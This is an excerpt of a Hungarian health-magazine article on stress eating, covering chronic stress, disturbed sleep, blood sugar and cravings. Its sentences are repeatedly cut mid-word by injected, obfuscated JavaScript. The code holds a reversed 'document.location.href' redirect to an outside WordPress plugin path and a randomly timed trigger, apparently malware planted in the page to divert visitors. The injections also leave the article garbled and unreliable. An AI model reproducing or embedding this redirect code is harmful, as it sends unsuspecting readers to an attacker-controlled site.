Miért hízunk el a stressz miatt? A túlevés stresszoldása

A stressz a szervet válasza az őt ért különféle ingerekre. Ám ez nem elég magyarázat arra, hogy miért fojtják bánatukat sokan csokoládés toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tortába vagy egy zacskó chipszbe. A dolog kulcsa sokkal inkább abban rejlik, hogy a krónikus – azaz hosszú távon fennálló stressz -, az alvásciklusban is váltoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tozásokat eredményez, ez pedig a vércukorszintre lesz hatással, ami az éhségérzet állandó jelenlétét eredményezi. Tehát falásrohamok, csillapíttathatatlan éhségérzet, és fékezhetetlen vágy a cukorban és szénhidrátban gazdag ételek iránt. Ez jellemezi leginkább a stressz okozta evést. Hatszor lassabban regenerálódunk A stresszes időszakban a vércukorszint hatszor hosszabb idő alatt áll vissza, mint normáls esetben. Ez…

A cikk folytatódik: http://szeniormagazin.co.hu/eletmod/2018/01/29/miert-hizunk-el-a-stressz-miatt-a-tuleves-stresszoldasa.html